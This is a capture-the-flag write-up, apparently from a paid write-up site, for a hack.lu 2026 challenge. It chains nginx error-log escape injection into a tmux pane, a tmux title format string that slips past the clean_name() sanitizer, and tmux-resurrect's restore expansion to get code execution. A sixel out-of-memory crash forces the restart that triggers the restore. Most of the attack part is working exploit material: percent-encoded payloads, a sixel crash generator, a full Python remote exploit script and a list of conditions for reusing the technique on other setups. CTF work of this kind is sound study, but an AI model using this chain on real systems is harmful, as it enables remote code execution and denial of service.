$ cat writeup.md…
$ cat writeup.md…
hack.lu CTF 2026
Task: nginx error_log is tailed inside a tmux pane running tmux-resurrect/continuum; escape bytes are injectable via the request path. Solution: OSC 2 title carrying `#{E:#{?host,##,}(cmd)}` survives clean_name, is saved by continuum and re-expanded by restore's `select-pane -T` -> RCE; a sixel DCS forces an OOM restart to trigger restore.
Reliability is everyone's responsibility. Following the Q3 incident, continuous human observation of the edge gateway has never been more continuous. Coverage is uninterrupted. Morale is high. Solve the challenge locally, then spawn an instance.
A two-container stack is given (docker-compose.yml plus an admin/ directory):
nginx:1.31.7, nginx -g "daemon off; error_log /var/log/ops/error.log;". It serves /pub/ from the read-only pub volume (/usr/share/nginx/html/pub). The logs volume is mounted read-write at /var/log/ops.debian sid, tmux 3.8-1, user op, tty: true, mem_limit: 64m, pids_limit: 256, restart: unless-stopped. Mounts logs:/var/log/ops:ro and pub:/srv/pub (writable). A setuid /usr/local/bin/readflag reads /flag (mode 0400, root) and prints it.tmux new -d; tmux send "tail -n 0 -F /var/log/ops/error.log" Enter; tmux source ~/.tmux.conf; exec tmux attachtmux-resurrect + tmux-continuum, with @continuum-restore 'on' and @continuum-save-interval '1'.Goal: obtain code execution as op inside ops, run setuid readflag, and read the flag from /srv/pub/<file> over the nginx /pub/ route.
The title and description are the whole hint: single pane + continuous observation + uninterrupted coverage = a single tmux pane watched by tmux-continuum (auto save/restore), fed by a log that the attacker can write to.
Three facts combine into the chain:
Attacker-controlled bytes land in a tmux pane. nginx writes the URL-decoded request path raw inside the open() "<path>" part of its error-log line. Since error.log is shared into ops and a pane runs tail -n 0 -F /var/log/ops/error.log, a request such as GET /%1b]2;<payload>%07 emits a real ESC ] 2 ; <payload> BEL into that pane, and tmux's input parser processes the OSC as a title set.
tmux 3.8 only sanitizes the literal digraph #(. In clean_name() (tmux commit eb653314, "# is allowed again for names/titles directly set by commands, but not for escape sequences"), escape-sequence-set names get exactly one guard: the two-byte sequence #( is rewritten to _(. Other # forms — #{...} and ## — pass through untouched. So a title cannot contain #( literally, but it can contain a format that builds #( later.
tmux-resurrect's restore format-expands the saved title. The save file (TSV, real tab) is:
pane \t sess \t win \t win_active \t win_flags \t pane_idx \t TITLE(f7) \t dir(f8) \t pane_active \t pane_cmd \t :FULLCMD(f11)
restore_pane() runs tmux select-pane -t ... -T "$pane_title", and select-pane -T (untrusted=0) format-expands its argument. Field 7 of the save file is written from #{pane_title}, i.e. from our injected title.
#{E:<KEY>} (FORMAT_EXPAND) computes value = (KEY contains "#{" ? format_expand1(KEY) : format_find(KEY)) and then value = format_expand1(value) — a second expansion. format_expand1() executes every #(cmd) it scans (format_job_get -> job_run -> sh -c). A bare # expands to the empty string while ## expands to #, so:
#{?host,##,} -> "#"
Putting it together:
#{E:#{?host,##,}(/usr/local/bin/readflag > /srv/pub/FLAG)}
#(, so it survives clean_name() and utf8_stravis();#{?host,##,} expands to #;#{E:...} re-expands the result #(...) and runs the command.tmux-continuum only runs restore.sh at tmux server start, so the server must die once. Instead of guessing, force an OOM: tmux 3.8's sixel parser (image-sixel.c, compiled in for the Debian package) lazily allocates 2 * si->x bytes per raster line for a raster up to 10000×10000 — roughly a 10000× amplification. A ~1.4–1.6 KB DCS makes xmalloc fail; tmux calls fatal(), the server exits, exec tmux attach returns, and Docker restarts the container (restart: unless-stopped). On the new server, continuum restores from the poisoned save file and runs the payload.
Local: docker compose up -d, then curl http://localhost:8080/. Verify tail -F shows the log lines and that tmux list-panes -F '#{pane_title}' reflects an OSC 2 title sent through the gateway.
Send the OSC 2 title several times (redundancy against log rotation/races). The whole escape sequence must be percent-encoded so it survives the HTTP request line and is decoded by nginx before being written to the log:
GET /%1b]2;#{E:#{?host,##,}(setsid sh -c '/usr/local/bin/readflag > /srv/pub/FLAG' </dev/null >/dev/null 2>&1 &)}%07
setsid ... & detaches the job so it survives the restart race (see gotcha 2).
@continuum-save-interval '1' means the title is written to the resurrect save file within ~1 minute — but only while a client is attached and the status line is actually drawn (gotcha 3). Wait ~130 s, then confirm locally that field 7 of ~/.local/share/tmux/resurrect/last equals the payload.
Build a DCS that declares a huge raster but stays small in bytes. ~ draws 6 rows and - advances dy by 6, so pairs of ~- cover pairs*6 rows:
def sixel_dcs(pairs=800, width=10000): h = pairs * 6 return b'\x1bPq"1;1;%d;%d' % (width, h) + b'~-' * pairs + b'\x1b\\'
Send it percent-encoded through the gateway, repeatedly:
GET /%1bPq"1;1;10000;4800~-~-...~-%1b\\
With pairs=800 the request is ~1620 bytes, well under nginx's 2048-byte NGX_MAX_ERROR_STR limit (gotcha 1). tmux allocates ~84 MB, exceeding the 64 MB cgroup limit, xmalloc fails, tmux fatal()s, the container restarts, and continuum restores — executing select-pane -T "$pane_title" on the poisoned title.
readflag writes the flag to /srv/pub/FLAG; nginx serves it:
GET /pub/FLAG -> flag{REDACTED}
#!/usr/bin/env python3 """ Singlepane (hack.lu 2026) -- full remote exploit. nginx error-log injection -> tmux OSC-2 title -> tmux-resurrect restore `select-pane -T` format expansion -> RCE -> setuid readflag -> /srv/pub/FLAG """ import sys, time, urllib.parse, urllib.request, ssl def build_payload(cmd, out): # `setsid` detaches so readflag survives the server/container restart race # (restore kills session "0" -> a plain "#()" job would be killed). p = ("#{E:#{?host,##,}(setsid sh -c '%s > %s; sync' </dev/null >/dev/null 2>&1 &)}" % (cmd, out)) assert "#(" not in p, "payload must not contain a literal '#('" return p def sixel_dcs(pairs=800, width=10000): # Keep the injected PATH under ~1970 bytes: nginx truncates the error_log # line at 2048 bytes and a truncated DCS loses its ST terminator. h = pairs * 6 return b'\x1bPq"1;1;%d;%d' % (width, h) + b'~-' * pairs + b'\x1b\\' def main(): base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080" cmd = sys.argv[2] if len(sys.argv) > 2 else "/usr/local/bin/readflag" out = sys.argv[3] if len(sys.argv) > 3 else "/srv/pub/FLAG" name = out.rsplit("/", 1)[-1] ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE def get(path): try: with urllib.request.urlopen(base.rstrip("/") + path, timeout=10, context=ctx) as r: return r.status, r.read().decode(errors="replace") except urllib.error.HTTPError as e: return e.code, "" except Exception: return None, "" def inj_raw(b): # percent-encode every byte of the escape sequence; nginx URL-decodes it return get("/" + urllib.parse.quote(b.decode("latin1"), safe="")) payload = build_payload(cmd, out) print("[*] payload : %s" % payload) # 1) poison the pane title via OSC 2, several times for _ in range(5): inj_raw(("\x1b]2;" + payload + "\x07").encode("latin1")); time.sleep(1) print("[*] injected OSC 2 title (x5)") # 2) let tmux-continuum write the resurrect save file print("[*] waiting 130s for tmux-continuum to save it ...") time.sleep(130) # 3) sixel OOM -> tmux fatal -> container restart -> continuum restore six = sixel_dcs() print("[*] sending sixel crash trigger x20 (%d bytes each)" % len(six)) for _ in range(20): inj_raw(six); time.sleep(1.5) # 4) read the flag from the web-served pub volume print("[*] polling /pub/%s" % name) end = time.time() + 3600 while time.time() < end: code, body = get("/pub/" + name) if code == 200 and body.strip(): print("[+] FLAG: %s" % body.strip()); return time.sleep(5) print("[-] no flag yet") if __name__ == "__main__": main()
Use this technique when:
select-pane -T, rename-window, send-keys) is a format-expansion sink.open() "<path>" (and similar raw-path log fields) turns any URL-encoded escape sequence into terminal input processed by tmux.clean_name() present — the sanitizer only rewrites the literal #(; #{...} and ## survive, enabling #{E:#{?host,##,}(cmd)} to build #( at expansion time.select-pane -T / rename-window are called with a value that came from an escape sequence — untrusted=0 means no #( sanitization and full format expansion.mem_limit is small and tmux was built with sixel support — a short DCS (\x1bPq"1;1;10000;H + ~-*n + \x1b\\) forces a ~10000× allocation and an OOM restart, which is exactly what triggers a continuum restore./pub/<file>.NGX_MAX_ERROR_STR = 2048 bytes, and the open() field precedes the request: field. The injected path must stay under ~1970 bytes or the DCS loses its ESC \ terminator and is discarded. Empirically: pairs=1000 (2020 B) => no crash; pairs<=800 (1620 B) => crash."0" (restore-from-scratch), so the tmux server and any #() job die during restore. Use setsid sh -c '<cmd> > <out>' </dev/null >/dev/null 2>&1 & so readflag survives; a plain readflag > file leaves a 0-byte file.tty: true plus the entrypoint's exec tmux attach provides that. Without a client, the #(continuum_save.sh) job in status-right never runs and no resurrect save file is written./%1bpub/ returns 404 while //pub/ returns 403 (nginx merges //), proving the ESC is preserved into the backend URI."0", the container can enter a restart loop that re-runs the restore (and the payload) each cycle — /srv/pub persists, so the flag file survives regardless.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar